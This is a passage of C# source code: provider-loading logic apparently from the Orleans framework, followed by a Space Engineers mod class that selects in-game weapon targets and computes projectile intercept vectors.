List<Task> tasks = new List<Task>(); int count = providers.Count; if (providerConfigs != null) count = providerConfigs.Count; foreach (string providerName in providerNames) { if (providerConfigs.ContainsKey(providerName)) providerConfigs.Remove(providerName); if (providers.ContainsKey(providerName)) { tasks.Add(providers[providerName].Close()); providers.Remove(providerName); } } await Task.WhenAll(tasks); } private void ValidateProviders() { foreach (IProviderConfiguration providerConfig in providerConfigs.Values) { TProvider provider; ProviderConfiguration fullConfig = (ProviderConfiguration) providerConfig; if (providers.TryGetValue(providerConfig.Name, out provider)) { logger.Verbose(ErrorCode.Provider_ProviderLoadedOk, "Provider of type {0} name {1} located ok.", fullConfig.Type, fullConfig.Name); continue; } string msg = string.Format("Provider of type {0} name {1} was not loaded." + "Please check that you deployed the assembly in which the provider class is defined to the execution folder.", fullConfig.Type, fullConfig.Name); logger.Error(ErrorCode.Provider_ConfiguredProviderNotLoaded, msg); throw new OrleansException(msg); } } public async Task InitProviders(IProviderRuntime providerRuntime) { Dictionary<string, TProvider> copy; lock (providers) { copy = providers.ToDictionary(p => p.Key, p => p.Value); } foreach (var provider in copy) { string name = provider.Key; try { await provider.Value.Init(provider.Key, providerRuntime, providerConfigs[name]); } catch (Exception exc) { string exceptionMsg = string.Format("Exception initializing provider Name={0} Type={1}", name, provider); logger.Error(ErrorCode.Provider_ErrorFromInit, exceptionMsg, exc); throw new ProviderInitializationException(exceptionMsg, exc); } } } // used only for testing internal void AddProvider(string name, TProvider provider, IProviderConfiguration config) { lock (providers) { providers.Add(name, provider); } } internal int GetNumLoadedProviders() { lock (providers) { return providers.Count; } } public TProvider GetProvider(string name, bool caseInsensitive = false) { TProvider provider; if (!TryGetProvider(name, out provider, caseInsensitive)) { throw new KeyNotFoundException(string.Format("Cannot find provider of type {0} with Name={1}", typeof(TProvider).FullName, name)); } return provider; } public bool TryGetProvider(string name, out TProvider provider, bool caseInsensitive = false) { lock (providers) { if (providers.TryGetValue(name, out provider)) return provider != null; if (!caseInsensitive) return provider != null; // Try all lower case if (!providers.TryGetValue(name.ToLowerInvariant(), out provider)) { // Try all upper case providers.TryGetValue(name.ToUpperInvariant(), out provider); } } return provider != null; } public IList<TProvider> GetProviders() { lock (providers) { return providers.Values.ToList(); } } public TProvider GetDefaultProvider(string defaultProviderName) { lock (providers) { TProvider provider; // Use provider named "Default" if present if (!providers.TryGetValue(defaultProviderName, out provider)) { // Otherwise, if there is only a single provider listed, use that if (providers.Count == 1) provider = providers.First().Value; } if (provider != null) return provider; string errMsg = "Cannot find default provider for " + typeof(TProvider); logger.Error(ErrorCode.Provider_NoDefaultProvider, errMsg); throw new InvalidOperationException(errMsg); } } [System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes")] private void RegisterProviderType(Type t) { // First, figure out the provider type name var typeName = TypeUtils.GetFullName(t); IList<String> providerNames; lock (providers) { providerNames = providers.Keys.ToList(); } // Now see if we have any config entries for that type // If there's no config entry, then we don't load the type Type[] constructorBindingTypes = new[] { typeof(string), typeof(XmlElement) }; foreach (var entry in providerConfigs.Values) { var fullConfig = (ProviderConfiguration) entry; // Check if provider is already initialized. Skip loading it if so. if (providerNames.Contains(fullConfig.Name)) continue; if (fullConfig.Type != typeName) continue; // Found one! Now look for an appropriate constructor; try TProvider(string, Dictionary<string,string>) first var constructor = t.GetConstructor(BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic, null, constructorBindingTypes, null); var parms = new object[] { typeName, entry.Properties }; if (constructor == null) { // See if there's a default constructor to use, if there's no two-parameter constructor constructor = t.GetConstructor(BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic, null, Type.EmptyTypes, null); parms = new object[0]; } if (constructor == null) continue; TProvider instance; try { instance = (TProvider)constructor.Invoke(parms); } catch (Exception ex) { logger.Warn(ErrorCode.Provider_InstanceConstructionError1, "Error constructing an instance of a " + typeName + " provider using type " + t.Name + " for provider with name " + fullConfig.Name, ex); return; } lock (providers) { providers[fullConfig.Name] = instance; } logger.Info(ErrorCode.Provider_Loaded, "Loaded provider of type {0} Name={1}", typeName, fullConfig.Name); } } } }
#if DEBUG //#define TRACE #endif using System; using System.Collections.Generic; using System.Linq; using System.Runtime.CompilerServices; using Rynchodon.AntennaRelay; using Rynchodon.Utility; using Sandbox.Common.ObjectBuilders; using Sandbox.Game.Entities; using Sandbox.Game.Entities.Character; using Sandbox.ModAPI; using VRage; using VRage.Collections; using VRage.Game; using VRage.Game.Entity; using VRage.Game.ModAPI; using VRage.ModAPI; using VRageMath; using System.Diagnostics; namespace Rynchodon.Weapons { public abstract class TargetingBase { private struct WeaponCounts { public byte BasicWeapon, GuidedLauncher, GuidedMissile; public int Value { get { return BasicWeapon + GuidedLauncher * 10 + GuidedMissile * 100; } } public override string ToString() { return "BasicWeapon: " + BasicWeapon + ", GuidedLauncher: " + GuidedLauncher + ", GuidedMissile: " + GuidedMissile; } } #region Static private static Dictionary<long, WeaponCounts> WeaponsTargeting = new Dictionary<long, WeaponCounts>(); private static FastResourceLock lock_WeaponsTargeting = new FastResourceLock(); [OnWorldClose] private static void Unload() { WeaponsTargeting.Clear(); } public static int GetWeaponsTargeting(IMyEntity entity) { WeaponCounts result; using (lock_WeaponsTargeting.AcquireSharedUsing()) if (!WeaponsTargeting.TryGetValue(entity.EntityId, out result)) return 0; return result.Value; } #endregion Static public readonly IMyEntity MyEntity; /// <summary>Either the weapon block that is targeting or the block that created the weapon.</summary> public readonly IMyUserControllableGun CubeBlock; /// <summary>TryHard means the weapon is less inclined to switch targets and will continue to track targets when an intercept vector cannot be found.</summary> protected bool TryHard = false; protected bool SEAD = false; private ulong m_nextLastSeenSearch; private Target value_CurrentTarget; /// <summary>The target that is being processed.</summary> private Target myTarget; protected List<IMyEntity> PotentialObstruction = new List<IMyEntity>(); /// <summary>Targets that cannot be hit.</summary> private readonly HashSet<long> Blacklist = new HashSet<long>(); private readonly Dictionary<TargetType, List<IMyEntity>> Available_Targets = new Dictionary<TargetType, List<IMyEntity>>(); private List<MyEntity> nearbyEntities = new List<MyEntity>(); private Logable Log { get { return new Logable(MyEntity); } } /// <summary>Accumulation of custom terminal, vanilla terminal, and text commands.</summary> public TargetingOptions Options { get; protected set; } public bool GuidedLauncher { get; set; } private bool m_registeredCurrentTarget; /// <summary>The target that has been chosen.</summary> public Target CurrentTarget { get { return value_CurrentTarget; } private set { if (value_CurrentTarget != null && value != null && value_CurrentTarget.Entity == value.Entity) { value_CurrentTarget = value; return; } using (lock_WeaponsTargeting.AcquireExclusiveUsing()) { if (m_registeredCurrentTarget) { WeaponCounts counts; if (!WeaponsTargeting.TryGetValue(value_CurrentTarget.Entity.EntityId, out counts)) throw new Exception("WeaponsTargeting does not contain " + value_CurrentTarget.Entity.nameWithId()); Log.DebugLog("counts are now: " + counts + ", target: " + value_CurrentTarget.Entity.nameWithId()); if (GuidedLauncher) { Log.DebugLog("guided launcher count is already at 0", Logger.severity.FATAL, condition: counts.GuidedLauncher == 0); counts.GuidedLauncher--; } else if (this is Guided.GuidedMissile) { Log.DebugLog("guided missile count is already at 0", Logger.severity.FATAL, condition: counts.GuidedMissile == 0); counts.GuidedMissile--; } else { Log.DebugLog("basic weapon count is already at 0", Logger.severity.FATAL, condition: counts.BasicWeapon == 0); counts.BasicWeapon--; } if (counts.BasicWeapon == 0 && counts.GuidedLauncher == 0 && counts.GuidedMissile == 0) { Log.DebugLog("removing. counts are now: " + counts + ", target: " + value_CurrentTarget.Entity.nameWithId()); WeaponsTargeting.Remove(value_CurrentTarget.Entity.EntityId); } else { Log.DebugLog("-- counts are now: " + counts + ", target: " + value_CurrentTarget.Entity.nameWithId()); WeaponsTargeting[value_CurrentTarget.Entity.EntityId] = counts; } } m_registeredCurrentTarget = value != null && (value.TType & TargetType.LimitTargeting) != 0 && CanConsiderHostile(value.Entity); if (m_registeredCurrentTarget) { WeaponCounts counts; if (!WeaponsTargeting.TryGetValue(value.Entity.EntityId, out counts)) counts = new WeaponCounts(); Log.DebugLog("counts are now: " + counts + ", target: " + value.Entity.nameWithId()); if (GuidedLauncher) counts.GuidedLauncher++; else if (this is Guided.GuidedMissile) counts.GuidedMissile++; else counts.BasicWeapon++; WeaponsTargeting[value.Entity.EntityId] = counts; Log.DebugLog("++ counts are now: " + counts + ", target: " + value.Entity.nameWithId()); } } value_CurrentTarget = value; } } public void SetTarget(Target target) { CurrentTarget = myTarget = target; } public TargetingBase(IMyEntity entity, IMyCubeBlock controllingBlock) { if (entity == null) throw new ArgumentNullException("entity"); if (controllingBlock == null) throw new ArgumentNullException("controllingBlock"); MyEntity = entity; CubeBlock = (IMyUserControllableGun)controllingBlock; myTarget = NoTarget.Instance; CurrentTarget = myTarget; Options = new TargetingOptions(); entity.OnClose += Entity_OnClose; //Log.DebugLog("entity: " + MyEntity.getBestName() + ", block: " + CubeBlock.getBestName(), "TargetingBase()"); } private void Entity_OnClose(IMyEntity obj) { if (Globals.WorldClosed) return; CurrentTarget = null; } public TargetingBase(IMyCubeBlock block) : this(block, block) { } private bool PhysicalProblem(ref Vector3D targetPos, IMyEntity target) { return !CanRotateTo(ref targetPos, target) || Obstructed(ref targetPos, target); } private bool myTarget_PhysicalProblem() { Log.DebugLog("No current target", Logger.severity.FATAL, condition: myTarget == null || myTarget.Entity == null); Vector3D targetPos = myTarget.GetPosition(); return !CanRotateTo(ref targetPos, myTarget.Entity) || Obstructed(ref targetPos, myTarget.Entity); } /// <summary> /// Used to apply restrictions on rotation, such as min/max elevation/azimuth. /// </summary> /// <param name="targetPos">The position of the target.</param> /// <returns>true if the rotation is allowed</returns> /// <remarks>Invoked on targeting thread.</remarks> protected abstract bool CanRotateTo(ref Vector3D targetPos, IMyEntity target); protected abstract bool Obstructed(ref Vector3D targetPos, IMyEntity target); /// <summary> /// Determines the speed of the projectile. /// </summary> protected abstract float ProjectileSpeed(ref Vector3D targetPos); /// <summary> /// If the projectile has not been fired, aproximately where it will be created. /// Otherwise, the location of the projectile. /// </summary> /// <remarks> /// Returns MyEntity.GetPosition(), turrets may benefit from using barrel position. /// </remarks> protected virtual Vector3D ProjectilePosition() { return MyEntity.GetPosition(); } /// <summary> /// Clears the set of entities that cannot be targeted. /// </summary> protected void ClearBlacklist() { Blacklist.Clear(); } #if DEBUG protected void BlacklistTarget([CallerMemberName] string caller = null) { Log.DebugLog("Blacklisting " + myTarget.Entity + ", caller: " + caller); #else protected void BlacklistTarget() { #endif Blacklist.Add(myTarget.Entity.EntityId); myTarget = NoTarget.Instance; CurrentTarget = myTarget; } #region Targeting /// <summary> /// Finds a target /// </summary> protected void UpdateTarget() { Log.TraceLog("entered"); if (Options.TargetingRange < 1f) { Log.DebugLog("Not targeting, zero range"); return; } myTarget = CurrentTarget; if (myTarget.Entity != null && !myTarget.Entity.Closed) { if (TryHard) return; if ((myTarget.TType & TargetType.Projectile) != 0 && ProjectileIsThreat(myTarget.Entity, myTarget.TType)) return; } myTarget = NoTarget.Instance; CollectTargets(); PickATarget(); LogTargetChange(CurrentTarget, myTarget); CurrentTarget = myTarget; } [Conditional("DEBUG")] private void LogTargetChange(Target currentTarget, Target newTarget) { if (currentTarget == null || currentTarget.Entity == null) { if (newTarget != null && newTarget.Entity != null) Log.DebugLog("Acquired a target: " + newTarget.Entity.nameWithId()); return; } else { if (newTarget == null || newTarget.Entity == null) Log.DebugLog("Lost target: " + currentTarget.Entity.nameWithId()); else if (currentTarget.Entity != newTarget.Entity) Log.DebugLog("Switching target from " + currentTarget.Entity.nameWithId() + " to " + newTarget.Entity.nameWithId()); } } /// <summary> /// Targets a LastSeen chosen from the given storage, will overrride current target. /// </summary> /// <param name="storage">NetworkStorage to get LastSeen from.</param> public void GetLastSeenTarget(RelayStorage storage, double range) { if (Globals.UpdateCount < m_nextLastSeenSearch) return; m_nextLastSeenSearch = Globals.UpdateCount + 100ul; if (storage == null) { //Log.DebugLog("no storage", "GetLastSeenTarget()", Logger.severity.INFO); return; } if (storage.LastSeenCount == 0) { //Log.DebugLog("no last seen in storage", "GetLastSeenTarget()", Logger.severity.DEBUG); return; } LastSeen processing; IMyCubeBlock targetBlock; if (CurrentTarget.Entity != null && storage.TryGetLastSeen(CurrentTarget.Entity.EntityId, out processing) && processing.isRecent()) { LastSeenTarget lst = myTarget as LastSeenTarget; if (lst != null && lst.Block != null && !lst.Block.Closed) { Log.TraceLog("Updating current last seen target"); lst.Update(processing); CurrentTarget = myTarget; return; } if (ChooseBlock(processing, out targetBlock)) { Log.TraceLog("Updating current last seen, chose a new block"); myTarget = new LastSeenTarget(processing, targetBlock); CurrentTarget = myTarget; return; } } if (Options.TargetEntityId > 0L) { if (storage.TryGetLastSeen(Options.TargetEntityId, out processing)) { Log.TraceLog("Got last seen for entity id"); ChooseBlock(processing, out targetBlock); myTarget = new LastSeenTarget(processing, targetBlock); CurrentTarget = myTarget; } //else // Log.DebugLog("failed to get last seen from entity id", "GetLastSeenTarget()"); return; } processing = null; targetBlock = null; if (SEAD) { throw new NotImplementedException(); //float highestPowerLevel = 0f; //storage.ForEachLastSeen((LastSeen seen) => { // if (seen.isRecent() && Options.CanTargetType(seen.Entity) && CanConsiderHostile(seen.Entity)) // { // IMyCubeBlock block; // float powerLevel; // if (RadarEquipment_old.GetRadarEquipment(seen, out block, out powerLevel) && powerLevel > highestPowerLevel) // { // highestPowerLevel = powerLevel; // processing = seen; // targetBlock = block; // } // } //}); } else { Vector3D myPos = ProjectilePosition(); TargetType bestType = TargetType.LowestPriority; double maxRange = range * range; double closestDist = maxRange; storage.ForEachLastSeen(seen => { TargetType typeOfSeen = TargetingOptions.GetTargetType(seen.Entity); if (typeOfSeen <= bestType && Options.CanTargetType(typeOfSeen) && seen.isRecent() && CanConsiderHostile(seen.Entity)) { IMyCubeBlock block; if (!ChooseBlock(seen, out block) || !CheckWeaponsTargeting(typeOfSeen, seen.Entity)) return; if (typeOfSeen == bestType && targetBlock != null && block == null) return; double dist = Vector3D.DistanceSquared(myPos, seen.LastKnownPosition); if ((typeOfSeen < bestType && dist < maxRange) || dist < closestDist) { closestDist = dist; bestType = typeOfSeen; processing = seen; targetBlock = block; } } }); Log.DebugLog(() => "chose last seen with entity: " + processing.Entity.nameWithId() + ", block: " + targetBlock.getBestName() + ", type: " + bestType + ", distance squared: " + closestDist + ", position: " + processing.Entity.GetPosition(), condition: processing != null); Log.DebugLog("no last seen target found", condition: processing == null); } if (processing == null) { if (this is Guided.GuidedMissile) { Log.TraceLog("GuidedMissile failed to get LastSeen target, keeping previous"); return; } //Log.DebugLog("failed to get a target from last seen", "GetLastSeenTarget()"); myTarget = NoTarget.Instance; CurrentTarget = myTarget; } else { myTarget = new LastSeenTarget(processing, targetBlock); CurrentTarget = myTarget; } } /// <summary> /// Attempts to choose a targetable block from a LastSeen. /// </summary> /// <returns>True iff the LastSeen can be targeted, either because it has no blocks or because a block was found.</returns> private bool ChooseBlock(LastSeen seen, out IMyCubeBlock block) { block = null; if (SEAD) { throw new NotImplementedException(); //float powerLevel; //return RadarEquipment_old.GetRadarEquipment(seen, out block, out powerLevel); } if (!seen.RadarInfoIsRecent()) return true; IMyCubeGrid grid = seen.Entity as IMyCubeGrid; if (grid == null) return true; if (Options.blocksToTarget.IsNullOrEmpty() && (Options.CanTarget & TargetType.Destroy) == 0) return true; double distValue; if (!GetTargetBlock(grid, Options.CanTarget, out block, out distValue, false)) return false; return true; } /// <summary> /// Fills Available_Targets and PotentialObstruction /// </summary> private void CollectTargets() { Available_Targets.Clear(); PotentialObstruction.Clear(); nearbyEntities.Clear(); BoundingSphereD nearbySphere = new BoundingSphereD(ProjectilePosition(), Options.TargetingRange); MyGamePruningStructure.GetAllTopMostEntitiesInSphere(ref nearbySphere, nearbyEntities); Log.TraceLog("nearby entities: " + nearbyEntities.Count); foreach (IMyEntity entity in nearbyEntities) { if (Options.TargetEntityId > 0L && entity.EntityId != Options.TargetEntityId) { Log.TraceLog("not allowed by id: " + entity.nameWithId()); continue; } if (Blacklist.Contains(entity.EntityId)) { Log.TraceLog("blacklisted: " + entity.nameWithId()); continue; } if (entity is IMyFloatingObject) { if (entity.Physics == null || entity.Physics.Mass > 100) { AddTarget(TargetType.Moving, entity); continue; } } if (entity is IMyMeteor) { AddTarget(TargetType.Meteor, entity); continue; } MyCharacter asChar = entity as MyCharacter; if (asChar != null) { Log.TraceLog("character: " + entity.nameWithId()); if (asChar.IsDead) { Log.TraceLog("(s)he's dead, jim: " + entity.nameWithId()); continue; } if (asChar.IsBot || CanConsiderHostile(entity)) { Log.TraceLog("hostile: " + entity.nameWithId()); AddTarget(TargetType.Character, entity); } else { Log.TraceLog("not hostile: " + entity.nameWithId()); PotentialObstruction.Add(entity); } continue; } IMyCubeGrid asGrid = entity as IMyCubeGrid; if (asGrid != null) { Log.TraceLog("grid: " + asGrid.getBestName()); if (!asGrid.Save) continue; if (CanConsiderHostile(asGrid)) { AddTarget(TargetType.Moving, entity); AddTarget(TargetType.Destroy, entity); if (asGrid.IsStatic) AddTarget(TargetType.Station, entity); else if (asGrid.GridSizeEnum == MyCubeSize.Large) AddTarget(TargetType.LargeGrid, entity); else AddTarget(TargetType.SmallGrid, entity); if (Options.FlagSet(TargetingFlags.Preserve)) PotentialObstruction.Add(entity); } else PotentialObstruction.Add(entity); continue; } if (entity.IsMissile() && CanConsiderHostile(entity)) { AddTarget(TargetType.Missile, entity); continue; } } } /// <summary> /// Adds a target to Available_Targets /// </summary> private void AddTarget(TargetType tType, IMyEntity target) { if (!Options.CanTargetType(tType)) { Log.TraceLog("cannot carget type: " + tType + ", allowed: " + Options.CanTarget); return; } Log.TraceLog("adding to target list: " + target.getBestName() + ", " + tType); List<IMyEntity> list; if (!Available_Targets.TryGetValue(tType, out list)) { list = new List<IMyEntity>(); Available_Targets.Add(tType, list); } list.Add(target); } /// <summary> /// <para>Choose a target from Available_Targets.</para> /// </summary> private void PickATarget() { if (PickAProjectile(TargetType.Missile) || PickAProjectile(TargetType.Meteor) || PickAProjectile(TargetType.Moving)) return; double closerThan = double.MaxValue; if (SetClosest(TargetType.Character, ref closerThan)) return; // do not short for grid test SetClosest(TargetType.LargeGrid, ref closerThan); SetClosest(TargetType.SmallGrid, ref closerThan); SetClosest(TargetType.Station, ref closerThan); // if weapon does not have a target yet, check for destroy if (myTarget.TType == TargetType.None) SetClosest(TargetType.Destroy, ref closerThan); } /// <summary> /// Get the closest target of the specified type from Available_Targets[tType]. /// </summary> private bool SetClosest(TargetType tType, ref double closerThan) { List<IMyEntity> targetsOfType; if (!Available_Targets.TryGetValue(tType, out targetsOfType)) return false; Log.TraceLog("getting closest " + tType + ", from list of " + targetsOfType.Count); IMyEntity closest = null; Vector3D weaponPosition = ProjectilePosition(); foreach (IMyEntity entity in targetsOfType) { if (entity.Closed) continue; IMyEntity target; Vector3D targetPosition; double distanceValue; // get block from grid before obstruction test IMyCubeGrid asGrid = entity as IMyCubeGrid; if (asGrid != null) { IMyCubeBlock targetBlock; if (GetTargetBlock(asGrid, tType, out targetBlock, out distanceValue)) target = targetBlock; else continue; targetPosition = target.GetPosition(); } else { target = entity; targetPosition = target.GetPosition(); distanceValue = Vector3D.DistanceSquared(targetPosition, weaponPosition); if (distanceValue > Options.TargetingRangeSquared) { Log.TraceLog("for type: " + tType + ", too far to target: " + target.getBestName()); continue; } if (PhysicalProblem(ref targetPosition, target)) { Log.TraceLog("can't target: " + target.getBestName()); Blacklist.Add(target.EntityId); continue; } } if (distanceValue < closerThan) { closest = target; closerThan = distanceValue; } } if (closest != null) { Log.TraceLog("closest: " + closest.nameWithId()); myTarget = new TurretTarget(closest, tType); return true; } return false; } /// <remarks> /// <para>Targeting non-terminal blocks would cause confusion.</para> /// <para>Tiny blocks, such as sensors, shall be skipped.</para> /// <para>Open doors shall not be targeted.</para> /// </remarks> private bool TargetableBlock(IMyCubeBlock block, bool Disable) { if (!(block is IMyTerminalBlock)) return false; if (block.Mass < 100) return false; IMyDoor asDoor = block as IMyDoor; if (asDoor != null && asDoor.OpenRatio > 0.01) return false; if (Disable && !block.IsWorking) if (!block.IsFunctional || !Options.FlagSet(TargetingFlags.Functional)) { Log.TraceLog("disable: " + Disable + ", working: " + block.IsWorking + ", functional: " + block.IsFunctional + ", target functional: " + Options.FlagSet(TargetingFlags.Functional)); return false; } if (Blacklist.Contains(block.EntityId)) { Log.TraceLog("blacklisted: " + block.nameWithId()); return false; } Vector3D position = block.GetPosition(); if (!CanRotateTo(ref position, block)) { Log.TraceLog("cannot face: " + block.nameWithId()); return false; } return true; } /// <summary> /// Gets the best block to target from a grid. /// </summary> /// <param name="grid">The grid to search</param> /// <param name="tType">Checked for destroy</param> /// <param name="target">The best block fromt the grid</param> /// <param name="distanceValue">The value assigned based on distance and position in blocksToTarget.</param> /// <remarks> /// <para>Decoy blocks will be given a distanceValue of the distance squared to weapon.</para> /// <para>Blocks from blocksToTarget will be given a distanceValue of the distance squared * (index + 1)^3.</para> /// <para>Other blocks will be given a distanceValue of the distance squared * (1e12).</para> /// </remarks> public bool GetTargetBlock(IMyCubeGrid grid, TargetType tType, out IMyCubeBlock target, out double distanceValue, bool doRangeTest = true) { Vector3D myPosition = ProjectilePosition(); CubeGridCache cache = CubeGridCache.GetFor(grid); target = null; distanceValue = double.MaxValue; if (cache == null) return false; if (cache.TerminalBlocks == 0) { Log.TraceLog("no terminal blocks on grid: " + grid.DisplayName); return false; } // get decoy block { foreach (IMyCubeBlock block in cache.BlocksOfType(typeof(MyObjectBuilder_Decoy))) { if (!TargetableBlock(block, true)) continue; double distanceSq = Vector3D.DistanceSquared(myPosition, block.GetPosition()); if (doRangeTest && distanceSq > Options.TargetingRangeSquared) continue; if (distanceSq < distanceValue && CanConsiderHostile(block)) { target = block; distanceValue = distanceSq; } } if (target != null) { Log.TraceLog("for type = " + tType + " and grid = " + grid.DisplayName + ", found a decoy block: " + target.DisplayNameText + ", distanceValue: " + distanceValue); return true; } } // get block from blocksToTarget if (!Options.blocksToTarget.IsNullOrEmpty()) { int index = 0; IMyCubeBlock in_target = target; double in_distValue = distanceValue; foreach (MyDefinitionId[] ids in Options.listOfBlocks.IdGroups()) { index++; foreach (MyDefinitionId id in ids) { //Log.TraceLog("searching for blocks of type: " + id + ", count: " + cache.BlocksOfType(id).Count()); foreach (IMyCubeBlock block in cache.BlocksOfType(id)) { if (!TargetableBlock(block, true)) continue; double distSq = Vector3D.DistanceSquared(myPosition, block.GetPosition()); if (doRangeTest && distSq > Options.TargetingRangeSquared) { Log.TraceLog("out of range: " + block.nameWithId()); continue; } distSq *= index * index * index; if (distSq < in_distValue && CanConsiderHostile(block)) { in_target = block; in_distValue = distSq; } } } } target = in_target; distanceValue = in_distValue; if (target != null) // found a block from blocksToTarget { Log.TraceLog("for type = " + tType + " and grid = " + grid.DisplayName + ", target = " + target.DisplayNameText + ", distance = " + Vector3D.Distance(myPosition, target.GetPosition()) + ", distanceValue = " + distanceValue); return true; } } // get any IMyTerminalBlock bool destroy = (tType & TargetType.Moving) != 0 || (tType & TargetType.Destroy) != 0; if (destroy || Options.blocksToTarget.IsNullOrEmpty()) { double closest = double.MaxValue; foreach (MyCubeBlock block in cache.AllCubeBlocks()) { if (block is IMyTerminalBlock && TargetableBlock(block, !destroy)) { double distanceSq = Vector3D.DistanceSquared(myPosition, block.PositionComp.GetPosition()); if (doRangeTest && distanceSq > Options.TargetingRangeSquared) continue; distanceSq *= 1e12; if (distanceSq < closest && CanConsiderHostile(block)) { target = block; distanceValue = distanceSq; } } } if (target != null) { Log.TraceLog("for type = " + tType + " and grid = " + grid.DisplayName + ", found a block: " + target.DisplayNameText + ", distanceValue = " + distanceValue); return true; } } return false; } private bool CheckWeaponsTargeting(TargetType tType, IMyEntity entity) { if ((tType & TargetType.LimitTargeting) == 0) return true; if (GuidedLauncher) { WeaponCounts count; using (lock_WeaponsTargeting.AcquireSharedUsing()) return !WeaponsTargeting.TryGetValue(entity.EntityId, out count) || (count.GuidedLauncher == 0 && count.GuidedMissile == 0); } else if (this is Guided.GuidedMissile) { WeaponCounts count; using (lock_WeaponsTargeting.AcquireSharedUsing()) return !WeaponsTargeting.TryGetValue(entity.EntityId, out count) || count.GuidedMissile == 0; } return true; } /// <summary> /// Get any projectile which is a threat from Available_Targets[tType]. /// </summary> private bool PickAProjectile(TargetType tType) { List<IMyEntity> targetsOfType; if (Available_Targets.TryGetValue(tType, out targetsOfType)) { IOrderedEnumerable<IMyEntity> sorted; using (lock_WeaponsTargeting.AcquireSharedUsing()) sorted = targetsOfType.OrderBy(entity => GetWeaponsTargeting(entity)); foreach (IMyEntity entity in sorted) { if (entity.Closed) continue; if (!CheckWeaponsTargeting(tType, entity)) continue; IMyEntity projectile = entity; if (!ProjectileIsThreat(projectile, tType)) continue; IMyCubeGrid asGrid = projectile as IMyCubeGrid; if (asGrid != null) { IMyCubeBlock targetBlock; double distanceValue; if (GetTargetBlock(asGrid, tType, out targetBlock, out distanceValue)) projectile = targetBlock; else continue; } Vector3D position = projectile.GetPosition(); if (!PhysicalProblem(ref position, projectile)) { myTarget = new TurretTarget(projectile, tType); return true; } } } return false; } private bool ProjectileIsThreat(IMyEntity projectile, TargetType tType) { if (projectile.Closed) return false; if (Guided.GuidedMissile.IsGuidedMissile(projectile.EntityId)) return true; Vector3D projectilePosition = projectile.GetCentre(); BoundingSphereD ignoreArea = new BoundingSphereD(ProjectilePosition(), Options.TargetingRange / 10f); if (ignoreArea.Contains(projectilePosition) == ContainmentType.Contains) return false; Vector3D weaponPosition = ProjectilePosition(); Vector3D nextPosition = projectilePosition + (projectile.GetLinearVelocity() - MyEntity.GetLinearVelocity()) / 60f; if (Vector3D.DistanceSquared(weaponPosition, nextPosition) < Vector3D.DistanceSquared(weaponPosition, projectilePosition)) return true; else return false; } #endregion #region Target Interception /// <summary> /// Calculates FiringDirection and InterceptionPoint /// </summary> protected void SetFiringDirection() { if (myTarget.Entity == null || MyEntity.MarkedForClose) return; FindInterceptVector(); if (myTarget.Entity != null) { if (myTarget_PhysicalProblem()) { //Log.DebugLog("Shot path is obstructed, blacklisting " + myTarget.Entity.getBestName()); BlacklistTarget(); return; } //Log.DebugLog("got an intercept vector: " + myTarget.FiringDirection + ", ContactPoint: " + myTarget.ContactPoint + ", by entity: " + myTarget.Entity.GetCentre()); } CurrentTarget = myTarget; } /// <remarks>From http://danikgames.com/blog/moving-target-intercept-in-3d/</remarks> private void FindInterceptVector() { Vector3D shotOrigin = ProjectilePosition(); Vector3 shooterVel = MyEntity.GetLinearVelocity(); Vector3D targetOrigin = myTarget.GetPosition(); //Log.DebugLog(() => "shotOrigin is not valid: " + shotOrigin, Logger.severity.FATAL, condition: !shotOrigin.IsValid()); //Log.DebugLog(() => "shooterVel is not valid: " + shooterVel, Logger.severity.FATAL, condition: !shooterVel.IsValid()); //Log.DebugLog(() => "targetOrigin is not valid: " + targetOrigin, Logger.severity.FATAL, condition: !targetOrigin.IsValid()); Vector3 targetVel = myTarget.GetLinearVelocity(); Vector3 relativeVel = (targetVel - shooterVel); //Log.DebugLog(() => "targetVel is not valid: " + targetVel, Logger.severity.FATAL, condition: !targetVel.IsValid()); //Log.DebugLog(() => "relativeVel is not valid: " + relativeVel, Logger.severity.FATAL, condition: !relativeVel.IsValid()); targetOrigin += relativeVel * Globals.UpdateDuration; float shotSpeed = ProjectileSpeed(ref targetOrigin); Vector3 displacementToTarget = targetOrigin - shotOrigin; float distanceToTarget = displacementToTarget.Length(); Vector3 directionToTarget = displacementToTarget / distanceToTarget; // Decompose the target's velocity into the part parallel to the // direction to the cannon and the part tangential to it. // The part towards the cannon is found by projecting the target's // velocity on directionToTarget using a dot product. float targetSpeedOrth = Vector3.Dot(relativeVel, directionToTarget); Vector3 relativeVelOrth = targetSpeedOrth * directionToTarget; // The tangential part is then found by subtracting the // result from the target velocity. Vector3 relativeVelTang = relativeVel - relativeVelOrth; // The tangential component of the velocities should be the same // (or there is no chance to hit) // THIS IS THE MAIN INSIGHT! Vector3 shotVelTang = relativeVelTang; if (TryHard) shotVelTang *= 3f; // Now all we have to find is the orthogonal velocity of the shot float shotVelSpeedSquared = shotVelTang.LengthSquared(); if (shotVelSpeedSquared > shotSpeed * shotSpeed) { // Shot is too slow to intercept target. if (TryHard) { //Log.DebugLog("shot too slow, trying anyway", "FindInterceptVector()"); // direction is a trade-off between facing the target and fighting tangential velocity Vector3 direction = directionToTarget + displacementToTarget * 0.01f + shotVelTang; direction.Normalize(); myTarget.FiringDirection = direction; myTarget.ContactPoint = shotOrigin + direction * distanceToTarget; //Log.DebugLog(() => "invalid FiringDirection: " + myTarget.FiringDirection + ", directionToTarget: " + directionToTarget + // ", displacementToTarget: " + displacementToTarget + ", shotVelTang: " + shotVelTang, Logger.severity.FATAL, condition: !myTarget.FiringDirection.IsValid()); //Log.DebugLog(() => "invalid ContactPoint: " + myTarget.ContactPoint + ", shotOrigin: " + shotOrigin + // ", direction: " + direction + ", distanceToTarget: " + distanceToTarget, Logger.severity.FATAL, condition: !myTarget.ContactPoint.IsValid()); return; } //Log.DebugLog("shot too slow, blacklisting"); BlacklistTarget(); return; } else { // We know the shot speed, and the tangential velocity. // Using pythagoras we can find the orthogonal velocity. float shotSpeedOrth = (float)Math.Sqrt(shotSpeed * shotSpeed - shotVelSpeedSquared); Vector3 shotVelOrth = directionToTarget * shotSpeedOrth; // Finally, add the tangential and orthogonal velocities. Vector3 firingDirection = Vector3.Normalize(shotVelOrth + shotVelTang); // Find the time of collision (distance / relative velocity) float timeToCollision = distanceToTarget / (shotSpeedOrth - targetSpeedOrth); // Calculate where the shot will be at the time of collision Vector3 shotVel = shotVelOrth + shotVelTang; Vector3 contactPoint = shotOrigin + 